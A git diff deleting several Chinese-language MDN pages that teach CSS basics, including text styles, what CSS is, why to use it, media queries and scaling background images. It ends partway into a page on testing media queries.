diff --git a/files/zh-cn/web/guide/css/getting_started/text_styles/index.html b/files/zh-cn/web/guide/css/getting_started/text_styles/index.html deleted file mode 100644 index f7d1d38b23..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/text_styles/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: 文本样式 -slug: Web/Guide/CSS/Getting_started/Text_styles -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Web/Guide/CSS/Getting_started/Text_styles ---- -

{{ CSSTutorialTOC() }}

- -

{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "创建可读性良好的CSS")}} 这是CSS入门教程系列教程的第7部分;本节讲述了更多的有关文本的样式。你可以通过更改示例样式来使用不同的字体。

- -

资料:文本样式

- -

CSS提供了几个属性用来操作字体。

- -

我们先来看一个简写属性 {{ cssxref("font") }},使用这个属性可以很方便的指定其他的字体属性。比如:

- -
    -
  • 字体加粗,字体的风格:斜体和字体变形:小型大写字母
  • -
  • 字体的大小
  • -
  • 行高
  • -
  • 字体
  • -
- -
-
示例
- -
p {font: italic 75%/125% "Comic Sans MS", cursive;}
-
- -

这条规则定义了字体的几个属性,使整个段落文本都变成斜体。

- -

字体大小设置为每个段落父元素字体大小的3/4,行高设置为125%(比常规的间隔稍大一些)。

- -

文本字体设置为 Comic Sans MS,假如该字体不被浏览器支持则使用默认字体:cursive。

- -

这条规则还把bold和small-caps这些效果给去掉了(设置它们的值为normal)。

-
- -

 

- -

字体

- -

你无法预料到用户是否可以访问样式表里定义的字体。所以在设置字体时,在属性后指定一个替代的字体列表是个不错的主意。

- -

在这个字体列表的最后加上系统字体中的一个,如:serif,sans-serif,cursive,fantasy或monospace。

- -

如果字体不支持样式表里设置的字体特征,浏览器会使用另一种字体。比如,样式表中包含字体不支持的特殊字符,如果浏览器发现另一种字体支持这些特殊字符,那浏览器就会选择使用这种字体。

- -

使用 {{ cssxref("font-family") }} 属性指定文本的字体。

- -

简体中文的字体示例:

- -

Windows:font-family:微软雅黑;

- -

Mac OS:font-family:"Songti SC";

- -

字号

- -

浏览器用户浏览页面时,可以覆盖页面默认的文号大小,也可以改变页面的字号大小。所以说尽可能的使用相对的字号大小对你来说是有意义的。

- -

你可使用系统内置的值来设置字号,比如small,medium和large。你也可以使用相对父元素字号大小的值来设置,比如:smaller,larger,150%或1.5em。1“em”等于1个字母“m”的宽度(相对于父元素字号大小);因此1.5em就是1.5倍的父元素字号大小。

- -

如果有必要你也可以指定一个实际的大小,比如14px(14像素)应用于显示设备或14pt(14点)应用于打印设备。但是实际大小不能应用于视力受损用户的设备上,因为这些设备不支持指定实际的值。一个比较容易实现的策略是给顶级的文档元素指定一个系统内置的值如medium,然后再给它的子元素设置个相对值。

- -

使用{{ cssxref("font-size") }} 属性指定字体的大小。

- -

行高

- -

行高用来指定行与行之间的距离。如果你的文档中有一个很长的段落由很多行组成,而且这个段落的字号还比较小,这时给它指定一个稍大的间距,这样阅读起来会更方便。

- -

使用 {{ cssxref("line-height") }} 属性指定文本的行间距。

- -

装饰

- -

单独的 {{ cssxref("text-decoration") }}就可以为文本指定其他风格,比如underline或line-through。你也可以把值设置成none,把这些风格取消掉。

- -

其他属性

- -

使用{{ cssxref("font-style") }}: italic;指定文本为斜体;

- -

使用 {{ cssxref("font-weight") }}: bold;指定文本加粗;

- -

使用 {{ cssxref("font-variant") }}: small-caps;指定文本为小型大写字母;

- -

如果我们想单独设置某个效果失效,我们可以把其相应的属性设置为normal或inherit.

- -
-
详细资料
- -

我们也可以采用其他方式指定文本样式。

- -

比如,这里提到的几个属性的其他值。

- -

在一个复杂的样式表中,应该避免使用font属性,因为它的副作用(重置其他个体属性)。

- -

字体相关的全部细节,可以在CSS规范里查看Fonts 。文本修饰相关可以查看 Text 。

- -

如果我们不想使用系统上的默认字体库,我们可以使用{ { cssxref(@font-face)} }指定一个在线字体。然而,这要求用户的浏览器支持该字体。

-
- -

实践:指定字体

- -

对于一个简单的页面,我们可以设置 {{ HTMLElement("body") }}元素的字体,然后页面中的其他元素继承这个设置。

- -
    -
  1. 编辑我们的样式表。
  2. -
  3. 添加以下规则到你的样式表中。推荐这个规则放在css文件的开头: -
    body {font: 16px "Comic Sans MS", cursive;}
    -
    -
  4. -
  5. 添加一个该规则的注释,可以添加空格匹配你的整体样式布局。
  6. -
  7. 保存文件并刷新浏览器查看效果。如果你的系统有Comic Sans MS或cursive字体,这两种字体都不支持斜体。你的浏览器会自动选择另一种字体实现斜体,效果如第一行。 - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  8. -
  9. 从浏览器的菜单栏中选择 视图 > 字体大小 > 放大(或视图 > 缩放 > 放大)。即使你在样式里指定了字体为16px。用户浏览网页时,还是可以改变字体字号的大小。
  10. -
- -
-
挑战
- -

不改变什么,让6个初始字母的字号大小调整为2倍于浏览默认的衬线字体:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -
-
Possible solution
- -

Add the following style declaration to the strong rule:

- -
  font: 200% serif;
-
-If you use separate declarations for font-size and font-family, then the font-style setting on the first paragraph is not overridden. - -

 

-Hide solution
-查看答案.
- -

下一节?

- -

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Color", "颜色")}}示例文档已经使用几个颜色命名。下一节列表中将列出标准的颜色名称,并且介绍其他的定义颜色的方式。

diff --git a/files/zh-cn/web/guide/css/getting_started/what_is_css/index.html b/files/zh-cn/web/guide/css/getting_started/what_is_css/index.html deleted file mode 100644 index 7fcb01c0b0..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/what_is_css/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: What is CSS -slug: Web/Guide/CSS/Getting_started/What_is_CSS -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS ---- -
{{CSSTutorialTOC}}
- -

{{previousPage("/zh-CN/docs/CSS/开始", "开始")}} 作为 CSS 入门指南 教程的第一部分,本文解释了什么是 CSS。你需要创建一个文档以便用于接下来的学习。

- -

资料: 什么是 CSS

- -

Cascading Style Sheets (CSS) 是一门指定文档该如何呈现给用户的语言。

- -

文档 是信息的集合,它使用一门 标记语言 作为结构。

- -

将一篇文档 呈现 给用户是指将文档转换成你的听众能够使用的一种形式。火狐、Chrome或IE等浏览器,用于将文档以可视的形式进行呈现,如在计算机屏幕、投影仪或打印机上。

- -
-
示例
- -
    -
  • 你现在阅读的这个网页就是文档。
    - 网页中的信息通常使用标记语言 HTML (HyperText Markup Language) 来组织它的结构。
  • -
  • 一个应用中的对话框,也称为模态窗口,也是文档。
    - 这样的对话框可能也会使用类似于 XUL 这样的标记语言。Mozilla 的有些应用使用了该语言。
  • -
-
- -

在该教程中,如果使用像下方这样标题为 更多细节 的框,里面会包含额外信息。如果你迫切的想完成整个教程,那么可以跳过这些方框,等到以后有时间再回来看。当然也可以在碰到方框的时候去阅读这些内容,或者更进一步的,按照里面提供的链接去了解更多细节。

- -
-
更多细节
- -

一个文档并不等同于一个文件。它甚至可能不会保存在一个文件中。

- -

举例来说,你现在阅读的这个文档就不是保存在一个文件中。当你的浏览器请求该页面时,服务器会查询数据库生成文档,将散落在众多文件中的文档的碎片搜集起来。然而在本教程中,你使用的都是保存在文件中的文档。

- -

关于文档与标记语言的更多信息,可以查看本网站的其他部分—例如:

- - - - - - - - - - - - - - - - - - - - -
HTML用于 web 页面
XML用于结构化文档
SVG用于图形
XUL用于 Mozilla 中的用户界面
- -

在教程的第二部分,你会看到使用这些标记语言的例子。

-
- -

 为用户展现 文档意味着将其转换成一个可读性良好的格式。像 Firefox, Chrome 或是 Internet Explorer 这样的浏览器倾向于使用更视觉化的方式来展现文档 — 例如,在计算机屏幕,投影仪或是打印机上。

- -
-
更多细节
- -

CSS 并非仅仅用于浏览器,也不仅限于视觉展现。按照 CSS 的正式术语来讲,将文档呈现给用户的程序称为用户代理(UA)。浏览器只是用户代理的其中之一。不过在教程的第一部分中,你将只在浏览器中使用 CSS。

- -

要了解更多 CSS 术语定义的相关内容,请查看 CSS 规范的 定义

-
- -

动手:创建一个文档

- -
    -
  1. 在你的电脑中创建一个新的文件夹,用于保存和管理本指南中的练习。
  2. -
  3. 打开你的文本编辑器并创建一个新文件。该文件将用于保存后续练习中的文档。
  4. -
  5. 将下面的内容复制粘贴进文本文件中。保存文件,将其命名为 doc1.html -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  </head>
    -
    -  <body>
    -    <p>
    -      <strong>C</strong>ascading
    -      <strong>S</strong>tyle
    -      <strong>S</strong>heets
    -    </p>
    -  </body>
    -</html>
    -
    -
  6. -
  7. 在你的浏览器中开启一个新的标签页或窗口,打开文件。 -

    你会看到一串开头字母大写的文本,像这样:

    - - - - - - - -
    Cascading Style Sheets
    - -

    由于你的浏览器与该 wiki 的设置可能不同,所以你看到的内容与上面显示的不一定相符合。如果在字体、间距或颜色有区别,请不要担心,因为这些内容暂时无关紧要。

    -
  8. -
- -

接下来是什么?

- -

{{nextPage("/zh-CN/docs/CSS/开始/为何使用CSS", "为什么使用 CSS?")}}现在你的文档中还没有使用 CSS。在下一节中,你将会使用 CSS 来指定样式。

diff --git a/files/zh-cn/web/guide/css/getting_started/why_use_css/index.html b/files/zh-cn/web/guide/css/getting_started/why_use_css/index.html deleted file mode 100644 index ca5092f2af..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/why_use_css/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: 为何使用CSS? -slug: Web/Guide/CSS/Getting_started/Why_use_CSS -tags: - - CSS - - 'CSS:入门' - - NeedsLiveSample -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/What_is_CSS", "什么是CSS?") }}这是CSS入门教程 的第二章节,解释了CSS与文档的关系。在下面的练习中,你将学习如何给你在第一章节中创建的示例文档添加CSS样式表。

- -

信息: 为何使用CSS?

- -

CSS帮助您将文档信息的内容 和如何展现它的细节相分离。众所周知,如何展现文档的细节即为样式(style)。您可以将样式从它的内容分离出来,以便您能够:

- -
    -
  • 避免重复
  • -
  • 更容易维护
  • -
  • 为不同的目的,使用不同的样式而内容相同
  • -
- -
-
例如
- -

您的网站可能有成千上万的页面外观相似。使用CSS,您可以将样式信息存储在公共的文件中以供所有的页面共用。

- -

当用户显示页面时,用户的浏览器将样式信息和页面内容一同加载。

- -

当用户打印页面时,您可以提供不同的样式信息,以便于打印出来的页面更易于阅读。

-
- -

总之,在HTML中,您使用标记语言来描述文档的内容而不是它的样式。您可以使用CSS来指定它的样式而不是它的内容。 (在本教程后续内容中,您会看到此种的例外情况。)

- -
-
更多的细节
- -

像HTML之类的标记语言也会提供指定样式的方法。

- -

例如,在HTML中,您可以使用<b>标签来加粗文字,同时,您也可以在页面的<body>标记中指定背景颜色。

- -

当您使用CSS时,您通常要避免使用标记语言的这些特性,以便您所有的文档样式信息保存在同一地方。

-
- -

行动:创建样式表

- -
    -
  1. 在与前面相同的目录中,新建另一个文本文件。该文件将成为您的样式表。请将它命名为:style1.css
  2. -
  3. 在您的CSS文件中,复制、粘贴下面的行,并保存该文件: -
    strong {color: red;}
    -
    -
  4. -
- -

连接您的文档和样式表

- -
    -
  1. 为将您的文档和样式表相连,请编辑您的HTML文件。并添加下面高亮的行: -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p>
    -      <strong>C</strong>ascading
    -      <strong>S</strong>tyle
    -      <strong>S</strong>heets
    -    </p>
    -  </body>
    -</html>
    -
    -
  2. -
  3. 保存该文件并刷新您的浏览器。该样式表将首字母显示为红色,如下所示: - - - - - - -
    Cascading Style Sheets
    -
  4. -
- -
-
挑战
- -

除了红色外,CSS允许使用其它的颜色名称。

- -

不查询参考手册,请在您使用的样式表找出五个以上的颜色名称。

- -
-
Possible solution
- -

CSS supports common color names like orange, yellow, blue, green, or black. It also supports some more exotic color names like chartreuse, fuschia, or burlywood. See CSS Color value for a complete list as well as other ways of specifying colors.

-Hide solution
-请参考解答。
- -

下一节?

- -

{{nextPage("/zh-CN/docs/CSS/开始/How_CSS_works", "CSS如何工作。")}}现在您将示例文档与独立的样式表连在了一起,您已准备好学习更多的关于您的浏览器在显示文档时如何将它们组合在一起。

diff --git a/files/zh-cn/web/guide/css/media_queries/index.html b/files/zh-cn/web/guide/css/media_queries/index.html deleted file mode 100644 index bfb15efa67..0000000000 --- a/files/zh-cn/web/guide/css/media_queries/index.html +++ /dev/null @@ -1,412 +0,0 @@ ---- -title: 使用媒体查询 -slug: Web/Guide/CSS/Media_queries -tags: - - CSS - - CSS媒体查询 - - Media - - Web - - 媒体 - - 媒体查询 - - 指南 -translation_of: Web/CSS/Media_Queries/Using_media_queries ---- -
{{cssref}}
- -

媒体查询Media queries)非常实用,尤其是当你想要根据设备的大致类型(如打印设备与带屏幕的设备)或者特定的特征和设备参数(例如屏幕分辨率和浏览器{{glossary("viewport", "视窗")}}宽度)来修改网站或应用程序时。

- -

媒体查询常被用于以下目的:

- -
    -
  • 有条件的通过 {{cssxref("@media")}} 和 {{cssxref("@import")}} at-rules 用CSS 装饰样式。
  • -
  • media= 属性为{{HTMLElement("style")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}}和其他HTML元素指定特定的媒体类型。如:
  • -
- -
<link rel="stylesheet" src="styles.css" media="screen" />
-<link rel="stylesheet" src="styles.css" media="print" />
-
- - - -
-

注意:本页的例子使用CSS @media 的方式来说明目的,但是对于所有类型的媒体查询,基本语法均相同。

-
- -

语法

- -

每条媒体查询语句都由一个可选的媒体类型和任意数量的媒体特性表达式构成。可以使用多种逻辑操作符合并多条媒体查询语句。媒体查询语句不区分大小写。

- -

当媒体类型(如果指定)与在其上显示文档的设备匹配并且所有媒体功能表达式都计算为true时,媒体查询将计算为true。 涉及未知媒体类型的查询始终为false。

- -
-

注意: 即使媒体查询返回false,带有媒体查询附加到其{{HTMLElement("link")}}标记的样式表仍将下载。 但是,除非查询结果变为true,否则其内容将不适用。

-
- -

媒体类型

- -

媒体类型Media types)描述设备的一般类别。除非使用 notonly 逻辑操作符,媒体类型是可选的,并且会(隐式地)应用 all 类型。

- -
-
all
-
适用于所有设备。
-
print
-
适用于在打印预览模式下在屏幕上查看的分页材料和文档。 (有关特定于这些格式的格式问题的信息,请参阅分页媒体。)
-
screen
-
主要用于屏幕。
-
speech
-
主要用于语音合成器。
-
- -
被废弃的媒体类型: CSS2.1 和  Media Queries 3 定义了一些额外的媒体类型(tty, tv, projection, handheld, braille, embossed, 以及 aural),但是他们在Media Queries 4 中已经被废弃,并且不应该被使用。aural类型被替换为具有相似效果的speech
- -

媒体特性

- -

媒体特性Media features)描述了 {{glossary("user agent")}}、输出设备,或是浏览环境的具体特征。媒体特性表达式是完全可选的,它负责测试这些特性或特征是否存在、值为多少。每条媒体特性表达式都必须用括号括起来。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
名称简介备注
{{cssxref("@media/any-hover", "any-hover")}}是否有任何可用的输入机制允许用户(将鼠标等)悬停在元素上?在 Media Queries Level 4 中被添加。
{{cssxref("@media/any-pointer", "any-pointer")}}可用的输入机制中是否有任何指针设备,如果有,它的精度如何?在 Media Queries Level 4 中被添加。
{{cssxref("@media/aspect-ratio", "aspect-ratio")}}视窗(viewport)的宽高比
{{cssxref("@media/color", "color")}}输出设备每个像素的比特值,常见的有 8、16、32 位。如果设备不支持输出彩色,则该值为 0
{{cssxref("@media/color-gamut", "color-gamut")}}用户代理和输出设备大致程度上支持的色域在 Media Queries Level 4 中被添加。
{{cssxref("@media/color-index", "color-index")}}输出设备的颜色查询表(color lookup table)中的条目数量,如果设备不使用颜色查询表,则该值为 0
{{cssxref("@media/device-aspect-ratio", "device-aspect-ratio")}} {{obsolete_inline}}输出设备的宽高比已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-height", "device-height")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的高度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-width", "device-width")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的宽度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/display-mode", "display-mode")}} -

应用程序的显示模式,如web app的manifest中的display 成员所指定

-
在 Web App Manifest spec被定义.
{{cssxref("@media/forced-colors", "forced-colors")}}检测是user agent否限制调色板在 Media Queries Level 5 中被添加。
{{cssxref("@media/grid", "grid")}}输出设备使用网格屏幕还是点阵屏幕?
{{cssxref("@media/height", "height")}}视窗(viewport)的高度
{{cssxref("@media/hover", "hover")}} -

主要输入模式是否允许用户在元素上悬停

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/inverted-colors", "inverted-colors")}}user agent或者底层操作系统是否反转了颜色在 Media Queries Level 5 中被添加。
{{cssxref("@media/light-level", "light-level")}}环境光亮度在 Media Queries Level 5 中被添加。
{{cssxref("@media/monochrome", "monochrome")}} -

输出设备单色帧缓冲区中每个像素的位深度。如果设备并非黑白屏幕,则该值为 0

-
{{cssxref("@media/orientation", "orientation")}}视窗(viewport)的旋转方向
{{cssxref("@media/overflow-block", "overflow-block")}} -

输出设备如何处理沿块轴溢出视窗(viewport)的内容

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/overflow-inline", "overflow-inline")}} -

沿内联轴溢出视窗(viewport)的内容是否可以滚动?

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/pointer", "pointer")}} -

主要输入机制是一个指针设备吗?如果是,它的精度如何?

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}探测用户倾向于选择亮色还是暗色的配色方案在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-contrast", "prefers-contrast")}}探测用户是否有向系统要求提高或降低相近颜色之间的对比度在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}用户是否希望页面上出现更少的动态效果在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}用户是否倾向于选择更低的透明度在 Media Queries Level 5 中被添加。
{{cssxref("@media/resolution", "resolution")}}输出设备的像素密度(分辨率)
{{cssxref("@media/scan", "scan")}}输出设备的扫描过程(适用于电视等)
{{cssxref("@media/scripting", "scripting")}}探测脚本(例如 JavaScript)是否可用在 Media Queries Level 5 中被添加。
{{cssxref("@media/update-frequency", "update")}}输出设备更新内容的渲染结果的频率在 Media Queries Level 4 中被添加。
{{cssxref("@media/width", "width")}}视窗(viewport)的宽度,包括纵向滚动条的宽度
- -

逻辑操作符

- -

逻辑操作符logical operatorsnot, and, 和 only 可用于联合构造复杂的媒体查询,您还可以通过用逗号分隔多个媒体查询,将它们组合为一个规则。

- -

and

- -

 and 操作符用于将多个媒体查询规则组合成单条媒体查询,当每个查询规则都为真时则该条媒体查询为真,它还用于将媒体功能与媒体类型结合在一起。

- -

not

- -

not运算符用于否定媒体查询,如果不满足这个条件则返回true,否则返回false。 如果出现在以逗号分隔的查询列表中,它将仅否定应用了该查询的特定查询。 如果使用not运算符,则还必须指定媒体类型。

- -
-

注意:在Level 3中,not关键字不能用于否定单个媒体功能表达式,而只能用于否定整个媒体查询。

-
- -

only

- -

only运算符仅在整个查询匹配时才用于应用样式,并且对于防止较早的浏览器应用所选样式很有用。 当不使用only时,旧版本的浏览器会将screen and (max-width: 500px)简单地解释为screen,忽略查询的其余部分,并将其样式应用于所有屏幕。 如果使用only运算符,则还必须指定媒体类型。

- -

, (逗号)

- -

逗号用于将多个媒体查询合并为一个规则。 逗号分隔列表中的每个查询都与其他查询分开处理。 因此,如果列表中的任何查询为true,则整个media语句均返回true。 换句话说,列表的行为类似于逻辑或or运算符。

- -

定位媒体类型

- -

媒体类型描述了给定设备的一般类别。 尽管通常在设计网站时会考虑屏幕,但您可能希望创建针对特殊设备(例如打印机或基于音频的屏幕阅读器)的样式。 例如,此CSS针对打印机:

- -
@media print { ... }
-
- -

您还可以定位多个设备。 例如,此@media规则使用两个媒体查询来同时定位屏幕和打印设备

- -
@media screen, print { ... }
-
- -

有关所有媒体类型的列表,请参见Media types。 由于它们仅以非常广泛的术语描述设备,因此只有少数几种可用。 要定位更具体的属性,请改用媒体功能

- -

定位媒体特性

- -

媒体功能描述了给定的{{glossary("user agent")}}的输出设备或环境的特定特征。 例如,您可以将特定样式应用于宽屏显示器,使用鼠标的计算机,或应用于在弱光条件下使用的设备。 当用户的主要输入机制(例如鼠标)可以悬停在元素上时,如下为一个示例:

- -
@media (hover: hover) { ... }
-
- -

许多媒体功能都是范围功能,这意味着可以在它们前面加上“最小”或“最大”来表示“最小条件”或“最大条件”约束。 例如,仅当您的浏览器的{{glossary("viewport")}}宽度等于或小于12450px时,此CSS才会应用样式:

- -
@media (max-width: 12450px) { ... }
-
- -

如果您在未指定值的情况下创建媒体功能查询,则该样式将全部被应用,只要该查询的值不为零(或在Level 4中为none)即可。 例如,此CSS将适用于任何带有彩色屏幕的设备:

- -
@media (color) { ... }
-
- -

如果某个功能不适用于运行浏览器的设备,则涉及该媒体功能的表达式始终为false。 例如,将不会使用嵌套在以下查询中的样式,因为没有语音专用设备具有屏幕长宽比:

- -
@media speech and (aspect-ratio: 11/5) { ... }
-
- -

有关更多媒体功能media feature示例,请参阅每个特定功能的参考页。

- -

创建复杂查询

- -

有时您可能想创建一个取决于多个条件的媒体查询。 这就是逻辑运算符使用的场景:notand,和 only。 此外,您可以将多个媒体查询合并到一个逗号分隔的列表中。 这使您可以在不同情况下应用相同的样式。

- -

在前面的示例中,我们已经看到and运算符用于将媒体类型与媒体功能分组。 and运算符还可以将多个媒体功能组合到单个媒体查询中。 同时,not运算符会否定媒体查询,从而基本上颠倒了它的正常含义。 唯一的运算符可防止较早的浏览器应用样式。

- -
-

注意: 在大多数情况下,默认情况下,如果未指定其他类型,则使用all媒体类型。 但是,如果使用notonly运算符,则必须显式指定媒体类型。

-
- -

结合多种类型和特性

- -

and关键字将媒体功能与媒体类型或其他媒体功能组合在一起。 此示例结合了两种媒体功能,以将样式限制为宽度至少为30 em的横向的设备:

- -
@media (min-width: 30em) and (orientation: landscape) { ... }
-
- -

要将样式限制为带有屏幕的设备,可以将媒体功能链接到screen媒体类型:

- -
@media screen and (min-width: 30em) and (orientation: landscape) { ... }
- -

测试多重查询

- -

当用户的设备与各种媒体类型,功能或状态中的任何一种匹配时,可以使用逗号分隔的列表来应用样式。 例如,如果用户设备的最小高度为680px或为纵向模式的屏幕设备,则以下规则将应用其样式:

- -
@media (min-height: 680px), screen and (orientation: portrait) { ... }
-
- -

以上面的示例为例,如果用户使用的打印机的页面高度为800像素,则media语句将返回true,因为将应用第一个查询。 同样,如果用户使用的是纵向模式的智能手机,并且视口高度为480px,则将应用第二个查询,并且media语句仍将返回true。

- -

反转查询的含义

- -

not关键字会反转整个媒体查询的含义。 它只会否定要应用的特定媒体查询。 (因此,它不会应用于以逗号分隔的媒体查询列表中的每个媒体查询。)not关键字不能用于否定单个功能查询,只能用于否定整个媒体查询。 看看以下not关键字的例子:

- -
@media not all and (monochrome) { ... }
-
- -

所以上述查询等价于:

- -
@media not (all and (monochrome)) { ... }
-
- -

而不是:

- -
@media (not all) and (monochrome) { ... }
- -

再看另一个例子,如下媒体查询:

- -
@media not screen and (color), print and (color) { ... }
-
- -

等价于:

- -
@media (not (screen and (color))), print and (color) { ... }
- -

提升老版本浏览器兼容性

- -

only关键字可防止不支持带有媒体功能的媒体查询的旧版浏览器应用给定的样式。 它对现代浏览器没有影响。

- -
@media only screen and (color) { ... }
-
- -

版本 4 中的语法改进

- -

媒体查询4级规范对语法进行了一些改进,以使用具有“范围”类型(例如宽度或高度,减少冗余)的功能进行媒体查询。 级别4添加了用于编写此类的查询范围上下文。 例如,使用最大宽度max- 功能,我们可以编写以下代码:

- -
-

Note: 媒体查询4级规范在现代浏览器中具有合理的支持,但某些媒体功能并未得到很好的支持。 有关更多详细信息,请参见 @media browser compatibility table

-
- -
@media (max-width: 30em) { ... }
- -

在媒体查询4级规范可以这样写:

- -
@media (width <= 30em) { ... }
-
- -

使用min-max-可以测试一个在两个值之间的宽度

- -
@media (min-width: 30em) and (max-width: 50em) { ... }
- -

用4级语法书写如下

- -
@media (30em <= width <= 50em ) { ... }
-
-
- -

媒体查询4级规范还添加了用and, not, 和 or实现的完整的布尔运算来合并媒体查询的方法。

- -

使用 not否定一个特性

- -

在媒体功能周围使用not()会否定查询中的该特性。 例如,如果设备没有悬停功能,则not(hover)将被匹配:

- -
@media (not(hover)) { ... }
- -

用 or测试多个特性

- -

您可以使用or测试多个功能之间的匹配,如果任何功能为true,则解析为true。 例如,以下查询测试具有单色显示或悬停功能的设备:

- -
@media (not (color)) or (hover) { ... }
- -

参见

- - diff --git a/files/zh-cn/web/guide/css/scaling_background_images/index.html b/files/zh-cn/web/guide/css/scaling_background_images/index.html deleted file mode 100644 index 611a58af85..0000000000 --- a/files/zh-cn/web/guide/css/scaling_background_images/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: 缩放背景图像 -slug: Web/Guide/CSS/Scaling_background_images -tags: - - Advanced - - CSS - - CSS Background - - Graphics - - Guide - - Web - - 背景图片 -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images -translation_of_original: Web/CSS/CSS_Background_and_Borders/Scaling_background_images ---- -
{{cssref}}
- -

CSS 的  {{ cssxref("background-size") }} 属性能调整背景图片的大小,从而替代了用原始大小显示图片的默认行为。你可以随意的缩放背景图。

- -

拼一张大图

- -

来考虑一张大图,一个1233*1233像素的火狐图标。我们想将这张图的四个副本拼到一个300*300像素的正方形里(出于某种原因,很可能是某个非常糟糕的网站设计),最终的效果如下:

- -

screenshot1.png

- -

用下面的 CSS 可以实现这种效果:

- -
.square {
-  width: 300px;
-  height: 300px;
-  background-image: url(fxlogo.png);
-  border: solid 2px;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-  background-size: 150px;
-} 
- -
没必要再用带前缀的 background-size 了,尽管你可能考虑到要兼容一些非常老的浏览器版本,而用带前缀的写法。
- -

拉伸图片

- -

你可以同时指定图片纵向和横向的大小,如下:

- -
background-size: 300px 150px;
-
- -

结果会是这样的:
- screenshot3.png

- -

放大图片

- -

另一方面,你可以在背景里放大一张图片。我们把 16*16px 的图标放大到 300*300px:

- -

screenshot2.png

- -
.square2 {
-  width: 300px;
-  height: 300px;
-  background-image: url(favicon.png);
-  background-size: 300px;
-  border: solid 2px;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-}
-
- -

正如你所看到的,CSS 的写法实际上是基本相同的。

- -

特殊值:  "contain" 和 "cover"

- -

除了{{cssxref("<length>")}} 值外,{{ cssxref("background-size") }} 还提供了另外两个特殊的尺寸值:contain 和 cover。

- -

contain

- -

contain 值指定可以不用考虑容器的大小,把图像扩展至最大尺寸,以使其宽度和高度完全适应内容区域在支持背景图缩放的浏览器(比如Firefox 3.6+)中,改变这个窗口的大小,来看看下方这个例子。

- -
<div class="bgSizeContain">
-  <p>Try resizing this window.Right-click->This Frame->Open Frame in New Tab</p>
-</div>
- -
.bgSizeContain {
-  height: 200px;
-  background-image: url(https://developer.mozilla.org/files/2917/fxlogo.png);
-  background-size: contain;
-  border: 2px solid darkgray;
-  color: #000; text-shadow: 1px 1px 0 #fff;
-}
- -

{{ EmbedLiveSample("contain", "100%", "220") }}

- -

cover

- -

cover 属性指定背景图可以被调整到任意大小,以使背景图完全覆盖背景区域

- -
<div class="bgSizeCover">
-  <p>Try resizing this window.Right-click->This Frame->Open Frame in New Tab</p>
-</div>
- -
.bgSizeCover {
-  height: 200px;
-  background-image: url('/files/2917/fxlogo.png');
-  background-size: cover;
-  border: 2px solid darkgray;
-  color: #000;
-  text-shadow: 1px 1px 0 #fff;
-}
- -

{{ EmbedLiveSample("cover", "100%", "220") }}

- -

另请参阅

- -
    -
  • {{ cssxref("background-size") }}
  • -
  • {{ cssxref("background") }}
  • -
diff --git a/files/zh-cn/web/guide/css/testing_media_queries/index.html b/files/zh-cn/web/guide/css/testing_media_queries/index.html deleted file mode 100644 index 0d33436410..0000000000 --- a/files/zh-cn/web/guide/css/testing_media_queries/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: 使用编程方法测试媒体查询 -slug: Web/Guide/CSS/Testing_media_queries -tags: - - CSS - - DOM - - Event - - Media Queries - - Web -translation_of: Web/CSS/Media_Queries/Testing_media_queries ---- -
{{cssref}}
- -

{{Glossary("DOM")}} 提供了通过编程方法来获得媒体查询结果的特性。这是通过 {{domxref("MediaQueryList")}} 接口和它的方法来实现的。创建了 MediaQueryList 对象之后,就可以通过它来检查查询结果,或者设置事件监听器,在查询结果发生变化时自动接收到通知。

- -

创建媒体查询列表

- -

在获取查询结果前,首先要创建查询列表,也就是 MediaQueryList 对象来存放媒体查询。为了实现这个目的,可以使用 {{domxref("window.matchMedia")}} 方法。

- -

举个例子,设置一个用来判断设备的旋转方向(横屏还是竖屏)的查询列表:

- -
var mediaQueryList = window.matchMedia("(orientation: portrait)");
-
- -

检查查询结果

- -

